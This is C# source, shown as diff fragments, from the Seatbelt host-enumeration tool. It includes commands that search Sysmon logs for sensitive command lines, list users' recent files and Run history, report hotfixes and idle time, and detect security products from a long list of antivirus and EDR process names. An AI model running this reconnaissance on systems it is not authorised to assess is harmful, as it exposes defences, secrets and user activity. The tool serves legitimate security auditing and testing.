using System.Diagnostics.Eventing.Reader;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows.EventLogs
|
||||||
|
{
|
||||||
|
internal class SysmonEventCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "SysmonEvents";
|
||||||
|
public override string Description => "Sysmon process creation logs (1) with sensitive data.";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public SysmonEventCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
if (!SecurityUtil.IsHighIntegrity() && !ThisRunTime.ISRemote())
|
||||||
|
{
|
||||||
|
WriteError("Unable to collect. Must be an administrator.");
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteVerbose($"Searching Sysmon process creation logs (Sysmon ID 1) for sensitive data.\n");
|
||||||
|
|
||||||
|
// Get our "sensitive" cmdline regexes from a common helper function.
|
||||||
|
Regex[] processCmdLineRegex = MiscUtil.GetProcessCmdLineRegex();
|
||||||
|
|
||||||
|
if (args.Length >= 1)
|
||||||
|
{
|
||||||
|
string allArgs = String.Join(" ", args);
|
||||||
|
processCmdLineRegex = new Regex[] { new Regex(allArgs, RegexOptions.IgnoreCase & RegexOptions.Multiline) };
|
||||||
|
}
|
||||||
|
|
||||||
|
var query = "*[System/EventID=1]";
|
||||||
|
EventLogReader logReader = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
logReader = ThisRunTime.GetEventLogReader("Microsoft-Windows-Sysmon/Operational", query);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
WriteError("Unable to query Sysmon event logs, Sysmon likely not installed.");
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
|
||||||
|
var i = 0;
|
||||||
|
|
||||||
|
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
|
||||||
|
{
|
||||||
|
++i;
|
||||||
|
var commandLine = eventDetail.Properties[10].Value.ToString().Trim();
|
||||||
|
if (commandLine != "")
|
||||||
|
{
|
||||||
|
foreach (var reg in processCmdLineRegex)
|
||||||
|
{
|
||||||
|
var m = reg.Match(commandLine);
|
||||||
|
if (m.Success)
|
||||||
|
{
|
||||||
|
var userName = eventDetail.Properties[12].Value.ToString().Trim();
|
||||||
|
yield return new SysmonEventDTO()
|
||||||
|
{
|
||||||
|
TimeCreated = eventDetail.TimeCreated,
|
||||||
|
EventID = eventDetail.Id,
|
||||||
|
UserName = userName,
|
||||||
|
Match = m.Value
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class SysmonEventDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public DateTime? TimeCreated { get; set; }
|
||||||
|
public int EventID { get; set; }
|
||||||
|
public string UserName { get; set; }
|
||||||
|
public string Match { get; set; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,158 @@
|
||||||
|
#nullable disable
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Security.Principal;
|
||||||
|
using Seatbelt.Interop;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class ExplorerMRUsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "ExplorerMRUs";
|
||||||
|
public override string Description => "Explorer most recently used files (last 7 days, argument == last X days)";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User };
|
||||||
|
public override bool SupportRemote => false; // don't think this is possible... unless DCOM is an option
|
||||||
|
|
||||||
|
|
||||||
|
public ExplorerMRUsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var lastDays = 7;
|
||||||
|
|
||||||
|
// parses recent file shortcuts via COM
|
||||||
|
if (args.Length == 1)
|
||||||
|
{
|
||||||
|
lastDays = int.Parse(args[0]);
|
||||||
|
}
|
||||||
|
else if (!Runtime.FilterResults)
|
||||||
|
{
|
||||||
|
lastDays = 30;
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var file in EnumRecentExplorerFiles(lastDays).OrderByDescending(e => ((ExplorerRecentFilesDTO)e).LastAccessDate))
|
||||||
|
{
|
||||||
|
yield return file;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private IEnumerable<CommandDTOBase> EnumRecentExplorerFiles(int lastDays)
|
||||||
|
{
|
||||||
|
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||||
|
object shellObj = null;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// WshShell COM object GUID
|
||||||
|
var shell = Type.GetTypeFromCLSID(new Guid("F935DC22-1CF0-11d0-ADB9-00C04FD58A0B"));
|
||||||
|
shellObj = Activator.CreateInstance(shell);
|
||||||
|
|
||||||
|
var userFolder = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\";
|
||||||
|
var dirs = Directory.GetDirectories(userFolder);
|
||||||
|
foreach (var userDir in dirs)
|
||||||
|
{
|
||||||
|
if (userDir.EndsWith("Public") || userDir.EndsWith("Default") || userDir.EndsWith("Default User") ||
|
||||||
|
userDir.EndsWith("All Users"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
string userName = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
userName = File.GetAccessControl($"{userDir}\\NTUSER.DAT")
|
||||||
|
.GetOwner(typeof(SecurityIdentifier))
|
||||||
|
.ToString();
|
||||||
|
userName = Advapi32.TranslateSid(userName);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
var parts = userDir.Split('\\');
|
||||||
|
userName = parts[parts.Length - 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
var recentPath = $"{userDir}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\";
|
||||||
|
|
||||||
|
string[] recentFiles = null;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
recentFiles = Directory.GetFiles(recentPath, "*.lnk", SearchOption.AllDirectories);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (recentFiles.Length == 0) continue;
|
||||||
|
foreach (var recentFile in recentFiles)
|
||||||
|
{
|
||||||
|
var lastAccessed = File.GetLastAccessTime(recentFile);
|
||||||
|
|
||||||
|
if (lastAccessed <= startTime)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// invoke the WshShell com object, creating a shortcut to then extract the TargetPath from
|
||||||
|
var shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });
|
||||||
|
var targetPath = (string)shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { });
|
||||||
|
|
||||||
|
if (targetPath.Trim() == "")
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new ExplorerRecentFilesDTO()
|
||||||
|
{
|
||||||
|
Application = "Explorer",
|
||||||
|
User = userName,
|
||||||
|
Target = targetPath,
|
||||||
|
LastAccessDate = lastAccessed
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
if (shellObj != null)
|
||||||
|
{
|
||||||
|
Marshal.ReleaseComObject(shellObj);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class ExplorerRecentFilesDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public string Application { get; set; }
|
||||||
|
public string Target { get; set; }
|
||||||
|
public DateTime LastAccessDate { get; set; }
|
||||||
|
public string User { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(ExplorerRecentFilesDTO))]
|
||||||
|
internal class ExplorerRecentFileTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public ExplorerRecentFileTextFormatter(ITextWriter sink) : base(sink)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (ExplorerRecentFilesDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" {0} {1} {2} {3}", dto.Application, dto.User, dto.LastAccessDate.ToString("yyyy-MM-dd"), dto.Target);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,96 @@
|
||||||
|
#nullable disable
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
class ExplorerRunCommand
|
||||||
|
{
|
||||||
|
public string Key { get; set; }
|
||||||
|
public string Value { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class ExplorerRunCommandCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "ExplorerRunCommands";
|
||||||
|
public override string Description => "Recent Explorer \"run\" commands";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public ExplorerRunCommandCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// lists recently run commands via the RunMRU registry key
|
||||||
|
|
||||||
|
var SIDs = ThisRunTime.GetUserSIDs();
|
||||||
|
|
||||||
|
foreach (var sid in SIDs)
|
||||||
|
{
|
||||||
|
if (!sid.StartsWith("S-1-5") || sid.EndsWith("_Classes"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var recentCommands = ThisRunTime.GetValues(RegistryHive.Users, $"{sid}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU");
|
||||||
|
if ((recentCommands == null) || (recentCommands.Count == 0))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var commands = new List<ExplorerRunCommand>();
|
||||||
|
|
||||||
|
foreach (var kvp in recentCommands)
|
||||||
|
{
|
||||||
|
var command = new ExplorerRunCommand();
|
||||||
|
command.Key = kvp.Key;
|
||||||
|
command.Value = $"{kvp.Value}";
|
||||||
|
commands.Add(command);
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new ExplorerRunCommandDTO(
|
||||||
|
sid,
|
||||||
|
commands
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class ExplorerRunCommandDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public ExplorerRunCommandDTO(string sid, List<ExplorerRunCommand> commands)
|
||||||
|
{
|
||||||
|
Sid = sid;
|
||||||
|
Commands = commands;
|
||||||
|
}
|
||||||
|
public string Sid { get; set; }
|
||||||
|
public List<ExplorerRunCommand> Commands { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(ExplorerRunCommandDTO))]
|
||||||
|
internal class ExplorerRunCommandFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public ExplorerRunCommandFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (ExplorerRunCommandDTO)result;
|
||||||
|
|
||||||
|
WriteLine("\n {0} :", dto.Sid);
|
||||||
|
|
||||||
|
foreach (var runCommand in dto.Commands)
|
||||||
|
{
|
||||||
|
WriteLine(" {0,-10} : {1}", runCommand.Key, runCommand.Value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,83 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class HotfixCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "Hotfixes";
|
||||||
|
public override string Description => "Installed hotfixes (via WMI)";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public HotfixCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// Lists installed hotfixes via WMI (the Win32_QuickFixEngineering class)
|
||||||
|
// This is similar to PowerShell's Get-Hotfix
|
||||||
|
// Note: This class returns only the updates supplied by Component Based Servicing (CBS).
|
||||||
|
// Updates supplied by Microsoft Windows Installer (MSI) or the Windows update site (https://update.microsoft.com) are not returned.
|
||||||
|
// Translation: this only shows (usually) _Windows_ updates, not all _Microsoft_ updates. For that use the "MicrosoftUpdates" command.
|
||||||
|
|
||||||
|
WriteHost("Enumerating Windows Hotfixes. For *all* Microsoft updates, use the 'MicrosoftUpdates' command.\r\n");
|
||||||
|
|
||||||
|
var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "SELECT * FROM Win32_QuickFixEngineering");
|
||||||
|
var data = wmiData.Get();
|
||||||
|
foreach (var hotfix in data)
|
||||||
|
{
|
||||||
|
DateTime? InstalledOn;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
InstalledOn = Convert.ToDateTime(hotfix["InstalledOn"].ToString()).ToUniversalTime();
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
InstalledOn = null;
|
||||||
|
}
|
||||||
|
yield return new HotfixDTO(
|
||||||
|
hotfix["HotFixID"].ToString(),
|
||||||
|
InstalledOn,
|
||||||
|
hotfix["Description"].ToString(),
|
||||||
|
hotfix["InstalledBy"].ToString()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class HotfixDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public HotfixDTO(string hotFixID, DateTime? installedOnUTC, string description, string installedBy)
|
||||||
|
{
|
||||||
|
HotFixID = hotFixID;
|
||||||
|
InstalledOnUTC = installedOnUTC;
|
||||||
|
Description = description;
|
||||||
|
InstalledBy = installedBy;
|
||||||
|
}
|
||||||
|
public string HotFixID { get; set; }
|
||||||
|
public DateTime? InstalledOnUTC { get; set; }
|
||||||
|
public string Description { get; set; }
|
||||||
|
public string InstalledBy { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(HotfixDTO))]
|
||||||
|
internal class HotfixTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public HotfixTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (HotfixDTO)result;
|
||||||
|
|
||||||
|
WriteLine($" {dto.HotFixID,-10} {dto.InstalledOnUTC?.ToLocalTime(),-22} {dto.Description,-30} {dto.InstalledBy}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,78 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.ComponentModel;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using static Seatbelt.Interop.User32;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class IdleTimeCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "IdleTime";
|
||||||
|
public override string Description => "Returns the number of seconds since the current user's last input.";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User };
|
||||||
|
public override bool SupportRemote => false; // not possible
|
||||||
|
|
||||||
|
|
||||||
|
public IdleTimeCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var lastInputInfo = new LastInputInfo();
|
||||||
|
lastInputInfo.Size = (uint)Marshal.SizeOf(lastInputInfo);
|
||||||
|
|
||||||
|
if (GetLastInputInfo(ref lastInputInfo))
|
||||||
|
{
|
||||||
|
var currentUser = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
|
||||||
|
yield return new IdleTimeDTO(
|
||||||
|
currentUser,
|
||||||
|
((uint) Environment.TickCount - lastInputInfo.Time)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
throw new Win32Exception(Marshal.GetLastWin32Error());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class IdleTimeDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public IdleTimeDTO(string currentUser, uint milliseconds)
|
||||||
|
{
|
||||||
|
CurrentUser = currentUser;
|
||||||
|
Milliseconds = milliseconds;
|
||||||
|
}
|
||||||
|
public string CurrentUser { get; }
|
||||||
|
|
||||||
|
public uint Milliseconds { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(IdleTimeDTO))]
|
||||||
|
internal class IdleTimeFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public IdleTimeFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (IdleTimeDTO)result;
|
||||||
|
|
||||||
|
var t = TimeSpan.FromMilliseconds(dto.Milliseconds);
|
||||||
|
var idleTime = string.Format("{0:D2}h:{1:D2}m:{2:D2}s:{3:D3}ms",
|
||||||
|
t.Hours,
|
||||||
|
t.Minutes,
|
||||||
|
t.Seconds,
|
||||||
|
t.Milliseconds);
|
||||||
|
|
||||||
|
WriteLine($" CurrentUser : {dto.CurrentUser}");
|
||||||
|
WriteLine($" Idletime : {idleTime} ({dto.Milliseconds} milliseconds)\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,854 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Management;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using System.Linq;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class InterestingProcessesCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "InterestingProcesses";
|
||||||
|
public override string Description => "\"Interesting\" processes - defensive products and admin tools";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public InterestingProcessesCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// TODO: check out https://github.com/harleyQu1nn/AggressorScripts/blob/master/ProcessColor.cna#L10
|
||||||
|
|
||||||
|
// from https://github.com/threatexpress/red-team-scripts/blob/master/HostEnum.ps1#L985-L1033
|
||||||
|
var defensiveProcesses = new Dictionary<string, string>()
|
||||||
|
{
|
||||||
|
{ "mcshield", "McAfee"},
|
||||||
|
{ "windefend", "Windows Defender AV"},
|
||||||
|
{ "msascui", "Windows Defender AV"},
|
||||||
|
{ "msascuil", "Windows Defender AV"},
|
||||||
|
{ "msmpeng", "Windows Defender AV"},
|
||||||
|
{ "msmpsvc", "Windows Defender AV"},
|
||||||
|
{ "wrsa", "WebRoot AV"},
|
||||||
|
{ "savservice", "Sophos AV"},
|
||||||
|
{ "tmccsf", "Trend Micro AV"},
|
||||||
|
{ "symantec antivirus", "Symantec"},
|
||||||
|
{ "aexnsagent", "Symantec"},
|
||||||
|
{ "ccsvchst", "Symantec"},
|
||||||
|
{ "sisidsservice", "Symantec IDS"},
|
||||||
|
{ "sisipsservice", "Symantec IPS"},
|
||||||
|
{ "sisipsutil", "Symantec IPS"},
|
||||||
|
{ "kvoop", "Symantec DLP"},
|
||||||
|
{ "brkrprcs64", "Symantec DLP"},
|
||||||
|
{ "edpa", "Symantec DLP"},
|
||||||
|
{ "mbae", "MalwareBytes Anti-Exploit"},
|
||||||
|
{ "parity", "Bit9 application whitelisting"},
|
||||||
|
{ "cb", "Carbon Black behavioral analysis"},
|
||||||
|
{ "repux", "Carbon Black Defense"},
|
||||||
|
{ "repmgr", "Carbon Black Defense"},
|
||||||
|
{ "reputils", "Carbon Black Defense"},
|
||||||
|
{ "repwsc", "Carbon Black Defense"},
|
||||||
|
{ "cylancesvc", "Cylance Protect"},
|
||||||
|
{ "cylanceui", "Cylance Protect"},
|
||||||
|
{ "bds-vision", "BDS Vision behavioral analysis"},
|
||||||
|
{ "triumfant", "Triumfant behavioral analysis"},
|
||||||
|
{ "csfalcon", "CrowdStrike Falcon EDR"},
|
||||||
|
{ "csfalconcontainer", "CrowdStrike Falcon EDR"},
|
||||||
|
{ "csfalconservice", "CrowdStrike Falcon EDR"},
|
||||||
|
{ "ossec", "OSSEC intrusion detection"},
|
||||||
|
{ "tmpfw", "Trend Micro firewall"},
|
||||||
|
{ "dgagent", "Verdasys Digital Guardian DLP"},
|
||||||
|
{ "aawtray", "UNKNOWN"},
|
||||||
|
{ "ackwin32", "UNKNOWN"},
|
||||||
|
{ "ad-aware", "UNKNOWN"},
|
||||||
|
{ "adaware", "UNKNOWN"},
|
||||||
|
{ "advxdwin", "UNKNOWN"},
|
||||||
|
{ "agentsvr", "UNKNOWN"},
|
||||||
|
{ "agentw", "UNKNOWN"},
|
||||||
|
{ "alertsvc", "UNKNOWN"},
|
||||||
|
{ "alevir", "UNKNOWN"},
|
||||||
|
{ "alogserv", "UNKNOWN"},
|
||||||
|
{ "amon9x", "UNKNOWN"},
|
||||||
|
{ "anti-trojan", "UNKNOWN"},
|
||||||
|
{ "antivirus", "UNKNOWN"},
|
||||||
|
{ "ants", "UNKNOWN"},
|
||||||
|
{ "apimonitor", "UNKNOWN"},
|
||||||
|
{ "aplica32", "UNKNOWN"},
|
||||||
|
{ "apvxdwin", "UNKNOWN"},
|
||||||
|
{ "arr", "UNKNOWN"},
|
||||||
|
{ "atcon", "UNKNOWN"},
|
||||||
|
{ "atguard", "UNKNOWN"},
|
||||||
|
{ "atro55en", "UNKNOWN"},
|
||||||
|
{ "atupdater", "UNKNOWN"},
|
||||||
|
{ "atwatch", "UNKNOWN"},
|
||||||
|
{ "au", "UNKNOWN"},
|
||||||
|
{ "aupdate", "UNKNOWN"},
|
||||||
|
{ "auto-protect.nav80try", "UNKNOWN"},
|
||||||
|
{ "autodown", "UNKNOWN"},
|
||||||
|
{ "autoruns", "UNKNOWN"},
|
||||||
|
{ "autorunsc", "UNKNOWN"},
|
||||||
|
{ "autotrace", "UNKNOWN"},
|
||||||
|
{ "autoupdate", "UNKNOWN"},
|
||||||
|
{ "avconsol", "UNKNOWN"},
|
||||||
|
{ "ave32", "UNKNOWN"},
|
||||||
|
{ "avgcc32", "UNKNOWN"},
|
||||||
|
{ "avgctrl", "UNKNOWN"},
|
||||||
|
{ "avgemc", "UNKNOWN"},
|
||||||
|
{ "avgnt", "UNKNOWN"},
|
||||||
|
{ "avgrsx", "UNKNOWN"},
|
||||||
|
{ "avgserv", "UNKNOWN"},
|
||||||
|
{ "avgserv9", "UNKNOWN"},
|
||||||
|
{ "avguard", "UNKNOWN"},
|
||||||
|
{ "avgwdsvc", "UNKNOWN"},
|
||||||
|
{ "avgui", "UNKNOWN"},
|
||||||
|
{ "avgw", "UNKNOWN"},
|
||||||
|
{ "avkpop", "UNKNOWN"},
|
||||||
|
{ "avkserv", "UNKNOWN"},
|
||||||
|
{ "avkservice", "UNKNOWN"},
|
||||||
|
{ "avkwctl9", "UNKNOWN"},
|
||||||
|
{ "avltmain", "UNKNOWN"},
|
||||||
|
{ "avnt", "UNKNOWN"},
|
||||||
|
{ "avp", "UNKNOWN"},
|
||||||
|
{ "avp32", "UNKNOWN"},
|
||||||
|
{ "avpcc", "UNKNOWN"},
|
||||||
|
{ "avpdos32", "UNKNOWN"},
|
||||||
|
{ "avpm", "UNKNOWN"},
|
||||||
|
{ "avptc32", "UNKNOWN"},
|
||||||
|
{ "avpupd", "UNKNOWN"},
|
||||||
|
{ "avsched32", "UNKNOWN"},
|
||||||
|
{ "avsynmgr", "UNKNOWN"},
|
||||||
|
{ "avwin", "UNKNOWN"},
|
||||||
|
{ "avwin95", "UNKNOWN"},
|
||||||
|
{ "avwinnt", "UNKNOWN"},
|
||||||
|
{ "avwupd", "UNKNOWN"},
|
||||||
|
{ "avwupd32", "UNKNOWN"},
|
||||||
|
{ "avwupsrv", "UNKNOWN"},
|
||||||
|
{ "avxmonitor9x", "UNKNOWN"},
|
||||||
|
{ "avxmonitornt", "UNKNOWN"},
|
||||||
|
{ "avxquar", "UNKNOWN"},
|
||||||
|
{ "backweb", "UNKNOWN"},
|
||||||
|
{ "bargains", "UNKNOWN"},
|
||||||
|
{ "bd_professional", "UNKNOWN"},
|
||||||
|
{ "beagle", "UNKNOWN"},
|
||||||
|
{ "belt", "UNKNOWN"},
|
||||||
|
{ "besclient", "IBM BigFix"},
|
||||||
|
{ "bidef", "UNKNOWN"},
|
||||||
|
{ "bidserver", "UNKNOWN"},
|
||||||
|
{ "bipcp", "UNKNOWN"},
|
||||||
|
{ "bipcpevalsetup", "UNKNOWN"},
|
||||||
|
{ "bisp", "UNKNOWN"},
|
||||||
|
{ "blackd", "UNKNOWN"},
|
||||||
|
{ "blackice", "UNKNOWN"},
|
||||||
|
{ "blink", "UNKNOWN"},
|
||||||
|
{ "blss", "UNKNOWN"},
|
||||||
|
{ "bootconf", "UNKNOWN"},
|
||||||
|
{ "bootwarn", "UNKNOWN"},
|
||||||
|
{ "borg2", "UNKNOWN"},
|
||||||
|
{ "bpc", "UNKNOWN"},
|
||||||
|
{ "brasil", "UNKNOWN"},
|
||||||
|
{ "bs120", "UNKNOWN"},
|
||||||
|
{ "bundle", "UNKNOWN"},
|
||||||
|
{ "bvt", "UNKNOWN"},
|
||||||
|
{ "ccapp", "UNKNOWN"},
|
||||||
|
{ "ccevtmgr", "UNKNOWN"},
|
||||||
|
{ "ccpxysvc", "UNKNOWN"},
|
||||||
|
{ "cdp", "UNKNOWN"},
|
||||||
|
{ "cfd", "UNKNOWN"},
|
||||||
|
{ "cfgwiz", "UNKNOWN"},
|
||||||
|
{ "cfiadmin", "UNKNOWN"},
|
||||||
|
{ "cfiaudit", "UNKNOWN"},
|
||||||
|
{ "cfinet", "UNKNOWN"},
|
||||||
|
{ "cfinet32", "UNKNOWN"},
|
||||||
|
{ "claw95", "UNKNOWN"},
|
||||||
|
{ "claw95cf", "UNKNOWN"},
|
||||||
|
{ "clean", "UNKNOWN"},
|
||||||
|
{ "cleaner", "UNKNOWN"},
|
||||||
|
{ "cleaner3", "UNKNOWN"},
|
||||||
|
{ "cleanpc", "UNKNOWN"},
|
||||||
|
{ "cleanup", "UNKNOWN"},
|
||||||
|
{ "click", "UNKNOWN"},
|
||||||
|
{ "cmdagent", "UNKNOWN"},
|
||||||
|
{ "cmesys", "UNKNOWN"},
|
||||||
|
{ "cmgrdian", "UNKNOWN"},
|
||||||
|
{ "cmon016", "UNKNOWN"},
|
||||||
|
{ "connectionmonitor", "UNKNOWN"},
|
||||||
|
{ "cpd", "UNKNOWN"},
|
||||||
|
{ "cpf9x206", "UNKNOWN"},
|
||||||
|
{ "cpfnt206", "UNKNOWN"},
|
||||||
|
{ "ctrl", "UNKNOWN"},
|
||||||
|
{ "cv", "UNKNOWN"},
|
||||||
|
{ "cwnb181", "UNKNOWN"},
|
||||||
|
{ "cwntdwmo", "UNKNOWN"},
|
||||||
|
